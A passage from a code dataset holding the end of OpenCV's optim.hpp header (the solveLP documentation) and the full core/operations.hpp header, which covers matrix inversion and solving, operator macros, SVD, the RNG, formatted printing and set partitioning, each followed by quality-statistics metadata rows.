SOLVELP_MULTI = 1 //!< there are multiple maxima for target function - the arbitrary one is returned
};
/** @brief Solve given (non-integer) linear programming problem using the Simplex Algorithm (Simplex Method).
What we mean here by "linear programming problem" (or LP problem, for short) can be formulated as:
\f[\mbox{Maximize } c\cdot x\\
\mbox{Subject to:}\\
Ax\leq b\\
x\geq 0\f]
Where \f$c\f$ is fixed `1`-by-`n` row-vector, \f$A\f$ is fixed `m`-by-`n` matrix, \f$b\f$ is fixed `m`-by-`1`
column vector and \f$x\f$ is an arbitrary `n`-by-`1` column vector, which satisfies the constraints.
Simplex algorithm is one of many algorithms that are designed to handle this sort of problems
efficiently. Although it is not optimal in theoretical sense (there exist algorithms that can solve
any problem written as above in polynomial time, while simplex method degenerates to exponential
time for some special cases), it is well-studied, easy to implement and is shown to work well for
real-life purposes.
The particular implementation is taken almost verbatim from **Introduction to Algorithms, third
edition** by T. H. Cormen, C. E. Leiserson, R. L. Rivest and Clifford Stein. In particular, the
Bland's rule <http://en.wikipedia.org/wiki/Bland%27s_rule> is used to prevent cycling.
@param Func This row-vector corresponds to \f$c\f$ in the LP problem formulation (see above). It should
contain 32- or 64-bit floating point numbers. As a convenience, column-vector may be also submitted,
in the latter case it is understood to correspond to \f$c^T\f$.
@param Constr `m`-by-`n+1` matrix, whose rightmost column corresponds to \f$b\f$ in formulation above
and the remaining to \f$A\f$. It should contain 32- or 64-bit floating point numbers.
@param z The solution will be returned here as a column-vector - it corresponds to \f$c\f$ in the
formulation above. It will contain 64-bit floating point numbers.
@return One of cv::SolveLPResult
*/
CV_EXPORTS_W int solveLP(InputArray Func, InputArray Constr, OutputArray z);
//! @}
}// cv
#endif
| 15,860 | optim | hpp | en | cpp | code | {"qsc_code_num_words": 2313, "qsc_code_num_chars": 15860.0, "qsc_code_mean_word_length": 5.10159965, "qsc_code_frac_words_unique": 0.2641591, "qsc_code_frac_chars_top_2grams": 0.00720339, "qsc_code_frac_chars_top_3grams": 0.00677966, "qsc_code_frac_chars_top_4grams": 0.00805085, "qsc_code_frac_chars_dupe_5grams": 0.32432203, "qsc_code_frac_chars_dupe_6grams": 0.29474576, "qsc_code_frac_chars_dupe_7grams": 0.28584746, "qsc_code_frac_chars_dupe_8grams": 0.27016949, "qsc_code_frac_chars_dupe_9grams": 0.25364407, "qsc_code_frac_chars_dupe_10grams": 0.23923729, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00577367, "qsc_code_frac_chars_whitespace": 0.18095839, "qsc_code_size_file_byte": 15860.0, "qsc_code_num_lines": 302.0, "qsc_code_num_chars_line_max": 131.0, "qsc_code_num_chars_line_mean": 52.51655629, "qsc_code_frac_chars_alphabet": 0.9026174, "qsc_code_frac_chars_comments": 0.88322825, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.22727273, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00863931, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.25, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.27272727, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/operations.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Copyright (C) 2015, Itseez Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_CORE_OPERATIONS_HPP
#define OPENCV_CORE_OPERATIONS_HPP
#ifndef __cplusplus
# error operations.hpp header must be compiled as C++
#endif
#include <cstdio>
#if defined(__GNUC__) || defined(__clang__) // at least GCC 3.1+, clang 3.5+
# if defined(__MINGW_PRINTF_FORMAT) // https://sourceforge.net/p/mingw-w64/wiki2/gnu%20printf/.
# define CV_FORMAT_PRINTF(string_idx, first_to_check) __attribute__ ((format (__MINGW_PRINTF_FORMAT, string_idx, first_to_check)))
# else
# define CV_FORMAT_PRINTF(string_idx, first_to_check) __attribute__ ((format (printf, string_idx, first_to_check)))
# endif
#else
# define CV_FORMAT_PRINTF(A, B)
#endif
//! @cond IGNORED
namespace cv
{
////////////////////////////// Matx methods depending on core API /////////////////////////////
namespace internal
{
template<typename _Tp, int m, int n> struct Matx_FastInvOp
{
bool operator()(const Matx<_Tp, m, n>& a, Matx<_Tp, n, m>& b, int method) const
{
return invert(a, b, method) != 0;
}
};
template<typename _Tp, int m> struct Matx_FastInvOp<_Tp, m, m>
{
bool operator()(const Matx<_Tp, m, m>& a, Matx<_Tp, m, m>& b, int method) const
{
if (method == DECOMP_LU || method == DECOMP_CHOLESKY)
{
Matx<_Tp, m, m> temp = a;
// assume that b is all 0's on input => make it a unity matrix
for (int i = 0; i < m; i++)
b(i, i) = (_Tp)1;
if (method == DECOMP_CHOLESKY)
return Cholesky(temp.val, m*sizeof(_Tp), m, b.val, m*sizeof(_Tp), m);
return LU(temp.val, m*sizeof(_Tp), m, b.val, m*sizeof(_Tp), m) != 0;
}
else
{
return invert(a, b, method) != 0;
}
}
};
template<typename _Tp> struct Matx_FastInvOp<_Tp, 2, 2>
{
bool operator()(const Matx<_Tp, 2, 2>& a, Matx<_Tp, 2, 2>& b, int /*method*/) const
{
_Tp d = (_Tp)determinant(a);
if (d == 0)
return false;
d = 1/d;
b(1,1) = a(0,0)*d;
b(0,0) = a(1,1)*d;
b(0,1) = -a(0,1)*d;
b(1,0) = -a(1,0)*d;
return true;
}
};
template<typename _Tp> struct Matx_FastInvOp<_Tp, 3, 3>
{
bool operator()(const Matx<_Tp, 3, 3>& a, Matx<_Tp, 3, 3>& b, int /*method*/) const
{
_Tp d = (_Tp)determinant(a);
if (d == 0)
return false;
d = 1/d;
b(0,0) = (a(1,1) * a(2,2) - a(1,2) * a(2,1)) * d;
b(0,1) = (a(0,2) * a(2,1) - a(0,1) * a(2,2)) * d;
b(0,2) = (a(0,1) * a(1,2) - a(0,2) * a(1,1)) * d;
b(1,0) = (a(1,2) * a(2,0) - a(1,0) * a(2,2)) * d;
b(1,1) = (a(0,0) * a(2,2) - a(0,2) * a(2,0)) * d;
b(1,2) = (a(0,2) * a(1,0) - a(0,0) * a(1,2)) * d;
b(2,0) = (a(1,0) * a(2,1) - a(1,1) * a(2,0)) * d;
b(2,1) = (a(0,1) * a(2,0) - a(0,0) * a(2,1)) * d;
b(2,2) = (a(0,0) * a(1,1) - a(0,1) * a(1,0)) * d;
return true;
}
};
template<typename _Tp, int m, int l, int n> struct Matx_FastSolveOp
{
bool operator()(const Matx<_Tp, m, l>& a, const Matx<_Tp, m, n>& b,
Matx<_Tp, l, n>& x, int method) const
{
return cv::solve(a, b, x, method);
}
};
template<typename _Tp, int m, int n> struct Matx_FastSolveOp<_Tp, m, m, n>
{
bool operator()(const Matx<_Tp, m, m>& a, const Matx<_Tp, m, n>& b,
Matx<_Tp, m, n>& x, int method) const
{
if (method == DECOMP_LU || method == DECOMP_CHOLESKY)
{
Matx<_Tp, m, m> temp = a;
x = b;
if( method == DECOMP_CHOLESKY )
return Cholesky(temp.val, m*sizeof(_Tp), m, x.val, n*sizeof(_Tp), n);
return LU(temp.val, m*sizeof(_Tp), m, x.val, n*sizeof(_Tp), n) != 0;
}
else
{
return cv::solve(a, b, x, method);
}
}
};
template<typename _Tp> struct Matx_FastSolveOp<_Tp, 2, 2, 1>
{
bool operator()(const Matx<_Tp, 2, 2>& a, const Matx<_Tp, 2, 1>& b,
Matx<_Tp, 2, 1>& x, int) const
{
_Tp d = (_Tp)determinant(a);
if (d == 0)
return false;
d = 1/d;
x(0) = (b(0)*a(1,1) - b(1)*a(0,1))*d;
x(1) = (b(1)*a(0,0) - b(0)*a(1,0))*d;
return true;
}
};
template<typename _Tp> struct Matx_FastSolveOp<_Tp, 3, 3, 1>
{
bool operator()(const Matx<_Tp, 3, 3>& a, const Matx<_Tp, 3, 1>& b,
Matx<_Tp, 3, 1>& x, int) const
{
_Tp d = (_Tp)determinant(a);
if (d == 0)
return false;
d = 1/d;
x(0) = d*(b(0)*(a(1,1)*a(2,2) - a(1,2)*a(2,1)) -
a(0,1)*(b(1)*a(2,2) - a(1,2)*b(2)) +
a(0,2)*(b(1)*a(2,1) - a(1,1)*b(2)));
x(1) = d*(a(0,0)*(b(1)*a(2,2) - a(1,2)*b(2)) -
b(0)*(a(1,0)*a(2,2) - a(1,2)*a(2,0)) +
a(0,2)*(a(1,0)*b(2) - b(1)*a(2,0)));
x(2) = d*(a(0,0)*(a(1,1)*b(2) - b(1)*a(2,1)) -
a(0,1)*(a(1,0)*b(2) - b(1)*a(2,0)) +
b(0)*(a(1,0)*a(2,1) - a(1,1)*a(2,0)));
return true;
}
};
} // internal
template<typename _Tp, int m, int n> inline
Matx<_Tp,m,n> Matx<_Tp,m,n>::randu(_Tp a, _Tp b)
{
Matx<_Tp,m,n> M;
cv::randu(M, Scalar(a), Scalar(b));
return M;
}
template<typename _Tp, int m, int n> inline
Matx<_Tp,m,n> Matx<_Tp,m,n>::randn(_Tp a, _Tp b)
{
Matx<_Tp,m,n> M;
cv::randn(M, Scalar(a), Scalar(b));
return M;
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, n, m> Matx<_Tp, m, n>::inv(int method, bool *p_is_ok /*= NULL*/) const
{
Matx<_Tp, n, m> b;
bool ok = cv::internal::Matx_FastInvOp<_Tp, m, n>()(*this, b, method);
if (p_is_ok) *p_is_ok = ok;
return ok ? b : Matx<_Tp, n, m>::zeros();
}
template<typename _Tp, int m, int n> template<int l> inline
Matx<_Tp, n, l> Matx<_Tp, m, n>::solve(const Matx<_Tp, m, l>& rhs, int method) const
{
Matx<_Tp, n, l> x;
bool ok = cv::internal::Matx_FastSolveOp<_Tp, m, n, l>()(*this, rhs, x, method);
return ok ? x : Matx<_Tp, n, l>::zeros();
}
////////////////////////// Augmenting algebraic & logical operations //////////////////////////
#define CV_MAT_AUG_OPERATOR1(op, cvop, A, B) \
static inline A& operator op (A& a, const B& b) { cvop; return a; }
#define CV_MAT_AUG_OPERATOR(op, cvop, A, B) \
CV_MAT_AUG_OPERATOR1(op, cvop, A, B) \
CV_MAT_AUG_OPERATOR1(op, cvop, const A, B)
#define CV_MAT_AUG_OPERATOR_T(op, cvop, A, B) \
template<typename _Tp> CV_MAT_AUG_OPERATOR1(op, cvop, A, B) \
template<typename _Tp> CV_MAT_AUG_OPERATOR1(op, cvop, const A, B)
#define CV_MAT_AUG_OPERATOR_TN(op, cvop, A) \
template<typename _Tp, int m, int n> static inline A& operator op (A& a, const Matx<_Tp,m,n>& b) { cvop; return a; } \
template<typename _Tp, int m, int n> static inline const A& operator op (const A& a, const Matx<_Tp,m,n>& b) { cvop; return a; }
CV_MAT_AUG_OPERATOR (+=, cv::add(a,b,a), Mat, Mat)
CV_MAT_AUG_OPERATOR (+=, cv::add(a,b,a), Mat, Scalar)
CV_MAT_AUG_OPERATOR_T(+=, cv::add(a,b,a), Mat_<_Tp>, Mat)
CV_MAT_AUG_OPERATOR_T(+=, cv::add(a,b,a), Mat_<_Tp>, Scalar)
CV_MAT_AUG_OPERATOR_T(+=, cv::add(a,b,a), Mat_<_Tp>, Mat_<_Tp>)
CV_MAT_AUG_OPERATOR_TN(+=, cv::add(a,Mat(b),a), Mat)
CV_MAT_AUG_OPERATOR_TN(+=, cv::add(a,Mat(b),a), Mat_<_Tp>)
CV_MAT_AUG_OPERATOR (-=, cv::subtract(a,b,a), Mat, Mat)
CV_MAT_AUG_OPERATOR (-=, cv::subtract(a,b,a), Mat, Scalar)
CV_MAT_AUG_OPERATOR_T(-=, cv::subtract(a,b,a), Mat_<_Tp>, Mat)
CV_MAT_AUG_OPERATOR_T(-=, cv::subtract(a,b,a), Mat_<_Tp>, Scalar)
CV_MAT_AUG_OPERATOR_T(-=, cv::subtract(a,b,a), Mat_<_Tp>, Mat_<_Tp>)
CV_MAT_AUG_OPERATOR_TN(-=, cv::subtract(a,Mat(b),a), Mat)
CV_MAT_AUG_OPERATOR_TN(-=, cv::subtract(a,Mat(b),a), Mat_<_Tp>)
CV_MAT_AUG_OPERATOR (*=, cv::gemm(a, b, 1, Mat(), 0, a, 0), Mat, Mat)
CV_MAT_AUG_OPERATOR_T(*=, cv::gemm(a, b, 1, Mat(), 0, a, 0), Mat_<_Tp>, Mat)
CV_MAT_AUG_OPERATOR_T(*=, cv::gemm(a, b, 1, Mat(), 0, a, 0), Mat_<_Tp>, Mat_<_Tp>)
CV_MAT_AUG_OPERATOR (*=, a.convertTo(a, -1, b), Mat, double)
CV_MAT_AUG_OPERATOR_T(*=, a.convertTo(a, -1, b), Mat_<_Tp>, double)
CV_MAT_AUG_OPERATOR_TN(*=, cv::gemm(a, Mat(b), 1, Mat(), 0, a, 0), Mat)
CV_MAT_AUG_OPERATOR_TN(*=, cv::gemm(a, Mat(b), 1, Mat(), 0, a, 0), Mat_<_Tp>)
CV_MAT_AUG_OPERATOR (/=, cv::divide(a,b,a), Mat, Mat)
CV_MAT_AUG_OPERATOR_T(/=, cv::divide(a,b,a), Mat_<_Tp>, Mat)
CV_MAT_AUG_OPERATOR_T(/=, cv::divide(a,b,a), Mat_<_Tp>, Mat_<_Tp>)
CV_MAT_AUG_OPERATOR (/=, a.convertTo((Mat&)a, -1, 1./b), Mat, double)
CV_MAT_AUG_OPERATOR_T(/=, a.convertTo((Mat&)a, -1, 1./b), Mat_<_Tp>, double)
CV_MAT_AUG_OPERATOR_TN(/=, cv::divide(a, Mat(b), a), Mat)
CV_MAT_AUG_OPERATOR_TN(/=, cv::divide(a, Mat(b), a), Mat_<_Tp>)
CV_MAT_AUG_OPERATOR (&=, cv::bitwise_and(a,b,a), Mat, Mat)
CV_MAT_AUG_OPERATOR (&=, cv::bitwise_and(a,b,a), Mat, Scalar)
CV_MAT_AUG_OPERATOR_T(&=, cv::bitwise_and(a,b,a), Mat_<_Tp>, Mat)
CV_MAT_AUG_OPERATOR_T(&=, cv::bitwise_and(a,b,a), Mat_<_Tp>, Scalar)
CV_MAT_AUG_OPERATOR_T(&=, cv::bitwise_and(a,b,a), Mat_<_Tp>, Mat_<_Tp>)
CV_MAT_AUG_OPERATOR_TN(&=, cv::bitwise_and(a, Mat(b), a), Mat)
CV_MAT_AUG_OPERATOR_TN(&=, cv::bitwise_and(a, Mat(b), a), Mat_<_Tp>)
CV_MAT_AUG_OPERATOR (|=, cv::bitwise_or(a,b,a), Mat, Mat)
CV_MAT_AUG_OPERATOR (|=, cv::bitwise_or(a,b,a), Mat, Scalar)
CV_MAT_AUG_OPERATOR_T(|=, cv::bitwise_or(a,b,a), Mat_<_Tp>, Mat)
CV_MAT_AUG_OPERATOR_T(|=, cv::bitwise_or(a,b,a), Mat_<_Tp>, Scalar)
CV_MAT_AUG_OPERATOR_T(|=, cv::bitwise_or(a,b,a), Mat_<_Tp>, Mat_<_Tp>)
CV_MAT_AUG_OPERATOR_TN(|=, cv::bitwise_or(a, Mat(b), a), Mat)
CV_MAT_AUG_OPERATOR_TN(|=, cv::bitwise_or(a, Mat(b), a), Mat_<_Tp>)
CV_MAT_AUG_OPERATOR (^=, cv::bitwise_xor(a,b,a), Mat, Mat)
CV_MAT_AUG_OPERATOR (^=, cv::bitwise_xor(a,b,a), Mat, Scalar)
CV_MAT_AUG_OPERATOR_T(^=, cv::bitwise_xor(a,b,a), Mat_<_Tp>, Mat)
CV_MAT_AUG_OPERATOR_T(^=, cv::bitwise_xor(a,b,a), Mat_<_Tp>, Scalar)
CV_MAT_AUG_OPERATOR_T(^=, cv::bitwise_xor(a,b,a), Mat_<_Tp>, Mat_<_Tp>)
CV_MAT_AUG_OPERATOR_TN(^=, cv::bitwise_xor(a, Mat(b), a), Mat)
CV_MAT_AUG_OPERATOR_TN(^=, cv::bitwise_xor(a, Mat(b), a), Mat_<_Tp>)
#undef CV_MAT_AUG_OPERATOR_TN
#undef CV_MAT_AUG_OPERATOR_T
#undef CV_MAT_AUG_OPERATOR
#undef CV_MAT_AUG_OPERATOR1
///////////////////////////////////////////// SVD /////////////////////////////////////////////
inline SVD::SVD() {}
inline SVD::SVD( InputArray m, int flags ) { operator ()(m, flags); }
inline void SVD::solveZ( InputArray m, OutputArray _dst )
{
Mat mtx = m.getMat();
SVD svd(mtx, (mtx.rows >= mtx.cols ? 0 : SVD::FULL_UV));
_dst.create(svd.vt.cols, 1, svd.vt.type());
Mat dst = _dst.getMat();
svd.vt.row(svd.vt.rows-1).reshape(1,svd.vt.cols).copyTo(dst);
}
template<typename _Tp, int m, int n, int nm> inline void
SVD::compute( const Matx<_Tp, m, n>& a, Matx<_Tp, nm, 1>& w, Matx<_Tp, m, nm>& u, Matx<_Tp, n, nm>& vt )
{
CV_StaticAssert( nm == MIN(m, n), "Invalid size of output vector.");
Mat _a(a, false), _u(u, false), _w(w, false), _vt(vt, false);
SVD::compute(_a, _w, _u, _vt);
CV_Assert(_w.data == (uchar*)&w.val[0] && _u.data == (uchar*)&u.val[0] && _vt.data == (uchar*)&vt.val[0]);
}
template<typename _Tp, int m, int n, int nm> inline void
SVD::compute( const Matx<_Tp, m, n>& a, Matx<_Tp, nm, 1>& w )
{
CV_StaticAssert( nm == MIN(m, n), "Invalid size of output vector.");
Mat _a(a, false), _w(w, false);
SVD::compute(_a, _w);
CV_Assert(_w.data == (uchar*)&w.val[0]);
}
template<typename _Tp, int m, int n, int nm, int nb> inline void
SVD::backSubst( const Matx<_Tp, nm, 1>& w, const Matx<_Tp, m, nm>& u,
const Matx<_Tp, n, nm>& vt, const Matx<_Tp, m, nb>& rhs,
Matx<_Tp, n, nb>& dst )
{
CV_StaticAssert( nm == MIN(m, n), "Invalid size of output vector.");
Mat _u(u, false), _w(w, false), _vt(vt, false), _rhs(rhs, false), _dst(dst, false);
SVD::backSubst(_w, _u, _vt, _rhs, _dst);
CV_Assert(_dst.data == (uchar*)&dst.val[0]);
}
/////////////////////////////////// Multiply-with-Carry RNG ///////////////////////////////////
inline RNG::RNG() { state = 0xffffffff; }
inline RNG::RNG(uint64 _state) { state = _state ? _state : 0xffffffff; }
inline RNG::operator uchar() { return (uchar)next(); }
inline RNG::operator schar() { return (schar)next(); }
inline RNG::operator ushort() { return (ushort)next(); }
inline RNG::operator short() { return (short)next(); }
inline RNG::operator int() { return (int)next(); }
inline RNG::operator unsigned() { return next(); }
inline RNG::operator float() { return next()*2.3283064365386962890625e-10f; }
inline RNG::operator double() { unsigned t = next(); return (((uint64)t << 32) | next()) * 5.4210108624275221700372640043497e-20; }
inline unsigned RNG::operator ()(unsigned N) { return (unsigned)uniform(0,N); }
inline unsigned RNG::operator ()() { return next(); }
inline int RNG::uniform(int a, int b) { return a == b ? a : (int)(next() % (b - a) + a); }
inline float RNG::uniform(float a, float b) { return ((float)*this)*(b - a) + a; }
inline double RNG::uniform(double a, double b) { return ((double)*this)*(b - a) + a; }
inline bool RNG::operator ==(const RNG& other) const { return state == other.state; }
inline unsigned RNG::next()
{
state = (uint64)(unsigned)state* /*CV_RNG_COEFF*/ 4164903690U + (unsigned)(state >> 32);
return (unsigned)state;
}
//! returns the next uniformly-distributed random number of the specified type
template<typename _Tp> static inline _Tp randu()
{
return (_Tp)theRNG();
}
///////////////////////////////// Formatted string generation /////////////////////////////////
/** @brief Returns a text string formatted using the printf-like expression.
The function acts like sprintf but forms and returns an STL string. It can be used to form an error
message in the Exception constructor.
@param fmt printf-compatible formatting specifiers.
**Note**:
|Type|Specifier|
|-|-|
|`const char*`|`%s`|
|`char`|`%c`|
|`float` / `double`|`%f`,`%g`|
|`int`, `long`, `long long`|`%d`, `%ld`, ``%lld`|
|`unsigned`, `unsigned long`, `unsigned long long`|`%u`, `%lu`, `%llu`|
|`uint64` -> `uintmax_t`, `int64` -> `intmax_t`|`%ju`, `%jd`|
|`size_t`|`%zu`|
*/
CV_EXPORTS String format( const char* fmt, ... ) CV_FORMAT_PRINTF(1, 2);
///////////////////////////////// Formatted output of cv::Mat /////////////////////////////////
static inline
Ptr<Formatted> format(InputArray mtx, Formatter::FormatType fmt)
{
return Formatter::get(fmt)->format(mtx.getMat());
}
static inline
int print(Ptr<Formatted> fmtd, FILE* stream = stdout)
{
int written = 0;
fmtd->reset();
for(const char* str = fmtd->next(); str; str = fmtd->next())
written += fputs(str, stream);
return written;
}
static inline
int print(const Mat& mtx, FILE* stream = stdout)
{
return print(Formatter::get()->format(mtx), stream);
}
static inline
int print(const UMat& mtx, FILE* stream = stdout)
{
return print(Formatter::get()->format(mtx.getMat(ACCESS_READ)), stream);
}
template<typename _Tp> static inline
int print(const std::vector<Point_<_Tp> >& vec, FILE* stream = stdout)
{
return print(Formatter::get()->format(Mat(vec)), stream);
}
template<typename _Tp> static inline
int print(const std::vector<Point3_<_Tp> >& vec, FILE* stream = stdout)
{
return print(Formatter::get()->format(Mat(vec)), stream);
}
template<typename _Tp, int m, int n> static inline
int print(const Matx<_Tp, m, n>& matx, FILE* stream = stdout)
{
return print(Formatter::get()->format(cv::Mat(matx)), stream);
}
//! @endcond
/****************************************************************************************\
* Auxiliary algorithms *
\****************************************************************************************/
/** @brief Splits an element set into equivalency classes.
The generic function partition implements an \f$O(N^2)\f$ algorithm for splitting a set of \f$N\f$ elements
into one or more equivalency classes, as described in
<http://en.wikipedia.org/wiki/Disjoint-set_data_structure> . The function returns the number of
equivalency classes.
@param _vec Set of elements stored as a vector.
@param labels Output vector of labels. It contains as many elements as vec. Each label labels[i] is
a 0-based cluster index of `vec[i]`.
@param predicate Equivalence predicate (pointer to a boolean function of two arguments or an
instance of the class that has the method bool operator()(const _Tp& a, const _Tp& b) ). The
predicate returns true when the elements are certainly in the same class, and returns false if they
may or may not be in the same class.
@ingroup core_cluster
*/
template<typename _Tp, class _EqPredicate> int
partition( const std::vector<_Tp>& _vec, std::vector<int>& labels,
_EqPredicate predicate=_EqPredicate())
{
int i, j, N = (int)_vec.size();
const _Tp* vec = &_vec[0];
const int PARENT=0;
const int RANK=1;
std::vector<int> _nodes(N*2);
int (*nodes)[2] = (int(*)[2])&_nodes[0];
// The first O(N) pass: create N single-vertex trees
for(i = 0; i < N; i++)
{
nodes[i][PARENT]=-1;
nodes[i][RANK] = 0;
}
// The main O(N^2) pass: merge connected components
for( i = 0; i < N; i++ )
{
int root = i;
// find root
while( nodes[root][PARENT] >= 0 )
root = nodes[root][PARENT];
for( j = 0; j < N; j++ )
{
if( i == j || !predicate(vec[i], vec[j]))
continue;
int root2 = j;
while( nodes[root2][PARENT] >= 0 )
root2 = nodes[root2][PARENT];
if( root2 != root )
{
// unite both trees
int rank = nodes[root][RANK], rank2 = nodes[root2][RANK];
if( rank > rank2 )
nodes[root2][PARENT] = root;
else
{
nodes[root][PARENT] = root2;
nodes[root2][RANK] += rank == rank2;
root = root2;
}
CV_Assert( nodes[root][PARENT] < 0 );
int k = j, parent;
// compress the path from node2 to root
while( (parent = nodes[k][PARENT]) >= 0 )
{
nodes[k][PARENT] = root;
k = parent;
}
// compress the path from node to root
k = i;
while( (parent = nodes[k][PARENT]) >= 0 )
{
nodes[k][PARENT] = root;
k = parent;
}
}
}
}
// Final O(N) pass: enumerate classes
labels.resize(N);
int nclasses = 0;
for( i = 0; i < N; i++ )
{
int root = i;
while( nodes[root][PARENT] >= 0 )
root = nodes[root][PARENT];
// re-use the rank as the class label
if( nodes[root][RANK] >= 0 )
nodes[root][RANK] = ~nclasses++;
labels[i] = ~nodes[root][RANK];
}
return nclasses;
}
} // cv
#endif
| 21,533 | operations | hpp | en | cpp | code | {"qsc_code_num_words": 3355, "qsc_code_num_chars": 21533.0, "qsc_code_mean_word_length": 3.52727273, "qsc_code_frac_words_unique": 0.13770492, "qsc_code_frac_chars_top_2grams": 0.02661822, "qsc_code_frac_chars_top_3grams": 0.04123711, "qsc_code_frac_chars_top_4grams": 0.07436201, "qsc_code_frac_chars_dupe_5grams": 0.51580193, "qsc_code_frac_chars_dupe_6grams": 0.44946764, "qsc_code_frac_chars_dupe_7grams": 0.44220044, "qsc_code_frac_chars_dupe_8grams": 0.42073686, "qsc_code_frac_chars_dupe_9grams": 0.38862599, "qsc_code_frac_chars_dupe_10grams": 0.3556701, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02630475, "qsc_code_frac_chars_whitespace": 0.22495704, "qsc_code_size_file_byte": 21533.0, "qsc_code_num_lines": 594.0, "qsc_code_num_chars_line_max": 134.0, "qsc_code_num_chars_line_mean": 36.25084175, "qsc_code_frac_chars_alphabet": 0.68278507, "qsc_code_frac_chars_comments": 0.24097896, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.2029703, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00550661, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00122369, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.01732673, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.12871287, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.16089109, "qsc_codecpp_frac_lines_print": 0.00247525} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, 